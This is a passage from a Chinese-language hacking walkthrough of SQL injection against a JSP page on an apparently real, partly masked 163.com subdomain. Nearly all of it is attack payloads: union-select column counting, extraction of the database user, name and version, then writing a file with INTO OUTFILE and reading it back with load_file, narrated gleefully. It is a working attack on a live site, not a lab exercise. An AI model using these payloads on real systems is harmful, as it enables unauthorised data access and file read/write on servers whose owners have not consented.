提交:
http://XXX.163.com/wap/content.jsp?id=120 and 1=2 union select 1/*
返回错误如图4

继续提交:
http://XXX.163.com/wap/content.jsp?id=120 and 1=2 union select 1,2/*
http://XXX.163.com/wap/content.jsp?id=120 and 1=2 union select 1,2,3/*
……
到http://XXX.163.com/wap/content.jsp?id=120 and 1=2 union select 1,2,3,4,5,6,7,8,9,10/*
的时候返回正常结果如图5
,看来是10个字段并且哪些字段会在页面显示也出来了!嘿嘿,现在能union查询了,就总的看下数据库的信息吧!提交:
http://XXX.163.com/wap/content.jsp?id=120 and 1=2 union select 1,2,3,4,5,user(),database(),8,9,version()/*
返回结果如图6
,我们知道了数据库名字以及用户连接的名字以及数据库具体版本了哦!那么下一步该怎么做呢?看看用户那么特殊,这个用户很可能是管理员之类的角色哦!还是先看看权限够不够大,关键是能不能读写文件!提交:
http://XXX.163.com/wap/content.jsp?id=120 and 1=2 union select 1,2,3,4,5,user(),database(),8,9,10 into outfile '/tmp/jnc.txt'/*
嘿嘿,注意这里跟Php的注入不同,jsp不会对提交的任何字符做转义处理哦!所以我们放心的提交就行了,从上面的例子中我们大约知道系统是Linux类的,所以写文件到/tmp/jnc.txt中,这个目录一般都是可写的。然后再提交:
http://XXX.163.com/wap/content.jsp?id=120 and 1=2 union select 1,2,3,4,5,user(),database(),8,9,load_file('/tmp/jnc.txt')/*
分别返回如图7
上一页 [1] [2] [3] [4] 下一页